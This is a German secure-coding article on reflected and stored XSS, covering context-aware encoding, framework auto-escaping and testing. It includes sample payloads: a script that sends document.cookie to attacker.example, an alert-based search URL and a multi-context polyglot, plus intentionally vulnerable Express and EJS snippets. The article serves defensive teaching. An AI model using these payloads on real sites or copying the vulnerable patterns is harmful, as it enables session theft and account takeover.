XSS — Reflected und Stored

Reflected XSS — die einfache Form

Anwendung nimmt eine Eingabe entgegen, verarbeitet sie nicht persistent, gibt sie aber sofort in der Antwort wieder aus. Wenn die Ausgabe nicht encoded ist, lässt sich Code einschleusen.

Klassische Sinks:

• Such-Endpunkte mit „Keine Treffer für: <eingabe>"-Anzeige.
• Error-Pages, die fehlerhaften Wert zurückspielen.
• Login-Formulare mit „Benutzername: <wert> nicht gefunden".
• Bestätigungs-Seiten nach Form-Submit.
• URL-Parameter in <a href="...">-Attributen.

Beispiel:

<!-- Schadhaft (Pug/EJS/Handlebars ohne Auto-Encoding) -->
<h1>Suche: <%= req.query.q %></h1>
<p>Keine Treffer.</p>

URL: /search?q=<script>alert(document.cookie)</script> → Server reflektiert das Skript zurück → Browser führt es aus.

Wirkungs-Voraussetzung:

Reflected XSS braucht User-Interaktion — meist Klick auf einen präparierten Link (per Phishing-Mail, Social-Media-Post, Forum-Beitrag). Wer den Link öffnet, ist nur kompromittiert, wenn er in der Ziel-Anwendung eingeloggt ist.

Reale Wirkung:

• Session-Cookies abfischen.
• CSRF-Tokens auslesen, anschließend CSRF-Angriff.
• Login-Seite überlagern (Phishing in der echten Domain).
• Mit fetch() Aktionen im Namen der Nutzer:in ausführen.

Stored XSS — die persistente Form

Eingabe wird gespeichert und später anderen Nutzer:innen ausgeliefert. Häufiger Sink: alles, was nutzer-generiert ist und nicht trivial ist.

Klassische Sinks:

• Forum-Posts, Kommentare, Bewertungen.
• Profil-Beschreibungen, About-Texte.
• Direkt-Nachrichten zwischen Nutzer:innen.
• Produkt-Beschreibungen in Marktplätzen.
• Mail-Inhalte, die per HTML-Webmail gerendert werden.
• Custom-Field-Werte in CRMs, Tickets, Wikis.
• Admin-Eingaben, die nicht gefiltert werden (Privilegierte XSS — Admin schreibt schadhafter Inhalt, alle User sehen es).
• Datei-Upload-Inhalte (SVG, HTML-Anhänge in Mail).

Beispiel:

// Forum-Post-Endpunkt — speichert User-Input ohne Sanitization
app.post('/posts', (req, res) => {
  db.posts.insert({
    title: req.body.title,
    body: req.body.body,  // ungesäubert
    author: req.user.id,
  });
});

// Render-Endpunkt — gibt body ohne Encoding aus
app.get('/posts/:id', (req, res) => {
  const post = db.posts.findOne({ id: req.params.id });
  res.send(`
    <h1>${post.title}</h1>
    <article>${post.body}</article>
  `);
});

Erste:r Angreifer:in postet <script>fetch('https://attacker.example/?c='+document.cookie)</script> als Beitrag. Alle, die den Beitrag öffnen, geben ihr Session-Cookie an den/die Angreifer:in.

Stored XSS ist die gefährlichere Variante, weil keine Phishing-Strecke nötig ist — das passive Besuchen der Seite reicht.

Kontext-Awareness: das zentrale Konzept

Der häufigste Fehler bei XSS-Schutz: eine Encoding-Funktion für alle Stellen. HTML hat mehrere Sub-Kontexte, und das richtige Encoding hängt vom Kontext ab.

Konkret: wer eine HTML-Encoding-Funktion auf einen JavaScript-String anwendet, schützt nicht — " wird vom JS-Parser nicht als Escape erkannt, sondern als Literal-String. Umgekehrt: JS-Escape im HTML-Body schützt nicht vor <script>-Injection.

Faustregel: Encoding ist immer kontext-spezifisch. Eine generische htmlEncode()-Funktion reicht nicht für alle Stellen.

Was modere Template-Engines bieten

Glücklicherweise haben moderne Template-Systeme kontext-bewusstes Auto-Encoding eingebaut. Beispiele:

React JSX — automatisches HTML-Encoding:

// Sicher: React encodiert {wert} automatisch
function Component({ userInput }) {
  return <div>{userInput}</div>;
  // <script>...</script> wird zu &lt;script&gt;...&lt;/script&gt;
}

// Unsicher: explizite Roh-HTML-Insertion
function Bad({ userInput }) {
  return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
}

Vue.js — automatisches HTML-Encoding für {{ }}-Interpolation:

<!-- Sicher: Vue encodiert automatisch -->
<div>{{ userInput }}</div>

<!-- Unsicher: v-html -->
<div v-html="userInput"></div>

Angular — automatisches HTML-Encoding über Property-Binding:

<!-- Sicher: Angular encodiert -->
<div>{{ userInput }}</div>

<!-- Unsicher: [innerHTML] mit DomSanitizer-Bypass -->
<div [innerHTML]="userInput | bypassSecurityTrustHtml"></div>

Jinja2 (Python) — Auto-Escape per Default in Web-Templates (Flask, Django setzen es richtig):

<!-- Sicher: Jinja2 escapt automatisch -->
<div>{{ user_input }}</div>

<!-- Unsicher: explizit |safe oder Markup() -->
<div>{{ user_input|safe }}</div>

EJS (Node.js) — <%= %> encodiert; <%- %> ist Roh-HTML:

<%- /* Roh-HTML, unsicher */ %>
<div><%- userInput %></div>

<%= /* Encoded, sicher */ %>
<div><%= userInput %></div>

Faustregel für Frameworks: Auto-Encoding ist Default. Wer explizite Roh-HTML-Funktionen nutzt, übernimmt die Verantwortung — und sollte stattdessen Sanitization (siehe html-sanitization) anwenden.

Eingabe-Validierung als Sekundär-Schutz

Eingabe-Validierung ist nützlich, aber nicht ausreichend als XSS-Schutz allein. Warum?

• Eine E-Mail-Adresse alice@example.com ist eine valide Eingabe — wer aber <script>-Tags in einem Mail-Feld erlaubt, lässt XSS durch.
• Such-Anfragen können legitim Sonderzeichen enthalten — du kannst nicht alle Spitzklammern in Suchen blockieren.
• Profil-Texte sollen oft Formatierung erlauben (fett, kursiv) — Roh-HTML-Filterung ist trickreich.

Eingabe-Validierung schützt vor:

• Klar definierten Datentypen (Mail, Telefon, UUID, Datum, Integer) — Schema-Validierung mit Allowlist-Pattern.
• Massen-Garbage und offensichtlich unplausiblen Eingaben.
• Daten, die später ohne Encoding in Code-Kontexten landen würden.

Eingabe-Validierung schützt nicht vor:

• XSS in Feldern, die legitim Freitext erlauben.
• XSS in Feldern mit komplexer Format-Anforderung.

Konsequenz: Validierung ist die erste Schicht für strukturierte Daten — und sie reduziert die Angriffsfläche. Output-Encoding bleibt aber die eigentliche XSS-Schutz-Schicht.

Spezielle Fälle

E-Mail-Templates aus User-Input.

Wenn ein:e Nutzer:in einen Namen eingibt, der später in einer HTML-E-Mail an dieselbe Person geht („Hallo <name>"), und die Mail-Template-Engine nicht encodiert, ist XSS in Mail-Clients möglich. Manche Mail-Clients rendern JavaScript nicht — aber viele Webmail-Interfaces (Gmail, Yahoo) parsen HTML aggressiv.

Schutz: Mail-Templates müssen genauso encodiert werden wie Web-Templates.

PDF-Generierung aus User-Input.

PDF-Generatoren auf Basis von HTML-zu-PDF (wkhtmltopdf, Puppeteer, Playwright) rendern eingebettete URLs und Bilder. Wenn ein:e Angreifer:in JavaScript einschleust, kann das Skript im Generator-Prozess SSRF auf interne Ressourcen ausführen.

Schutz: PDF-Generator-Sandbox isolieren, Resource-Zugriff einschränken.

SVG-Uploads.

SVG ist XML mit eingebettetem JavaScript-Support. Wer SVG-Uploads als Bilder ungesäubert ausliefert, hat Stored XSS jedes Mal, wenn ein:e Nutzer:in das SVG aufruft.

Schutz: SVG-Sanitization (DOMPurify hat SVG-Modus); oder SVG-Anzeige nur in <img>-Tags statt eingebettet (Browser deaktiviert dann <script>).

Markdown-Renderer.

Wenn deine Anwendung User-Markdown rendert (Wiki, README-Anzeige), prüfe, ob der Renderer Roh-HTML zulässt. Standard-marked.js, markdown-it lassen Roh-HTML per Default zu — Schalter setzen oder Sanitization downstream.

Reflected XSS in 404-Pages.

Webserver (Nginx, IIS, Apache) geben oft die URL in Error-Pages aus. Wenn das ohne Encoding passiert, hast du XSS in der 404-Page. Bei modernen Versionen meist gefixt; bei alten Servern oder Custom-Error-Pages prüfen.

JSON-Inline in HTML.

Eine subtile Falle: JSON-Daten werden in <script>-Tag eingebettet:

<!-- Schadhaft: JSON kann </script> enthalten -->
<script>
  window.__INITIAL_DATA__ = <%= JSON.stringify(data) %>;
</script>

Wenn data einen String mit </script> enthält, bricht der Script-Tag früh ab — Rest wird als HTML interpretiert. Schutz: JSON für HTML-Insertion zusätzlich escapen — </script> zu <\/script>, <!-- zu <\!--, etc.

Test-Strategien

Automatisierte Tools:

• Burp Suite Pro mit aktivem Scanner — findet die meisten Reflected XSS in Standard-Form.
• OWASP ZAP — Open-Source-Pendant.
• DAST-Tools im CI (z. B. Acunetix, Probely).
• Linters im Frontend-Code (ESLint-React-Plugin warnt vor dangerouslySetInnerHTML).

Manuelle Tests:

• Payload-Listen wie PayloadsAllTheThings/XSS systematisch durchgehen.
• Pro Kontext anpassen — Payloads für HTML-Body unterscheiden sich von Attribut-Payloads.
• Polyglot-Payloads von Gareth Heyes (siehe Polyglot-Payload-Konzept auf PortSwigger) decken viele Kontexte gleichzeitig ab — ein Beispiel:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Bug-Bounty-Reports lesen: XSS-Reports gehören zu den lehrreichsten Quellen. HackerOne Hacktivity mit Filter „Public" und „XSS" liefert viele Beispiele realer Bug-Funde.

Weiterführende Ressourcen

Externe Quellen

• OWASP XSS Prevention Cheat Sheet
• PortSwigger — Reflected XSS
• PortSwigger — Stored XSS
• PayloadsAllTheThings — XSS
• DOMPurify — HTML-Sanitizer
• HTML5 Security Cheatsheet
• OWASP Java Encoder
• OWASP CSS Output Encoding Patterns

Verwandte Artikel

• XSS-Grundlagen
• DOM-based XSS
• Content Security Policy
• Trusted Types
• HTML-Sanitization
• Template-Injection
• XSS in Frameworks
• Secure Headers Übersicht (Kap 16)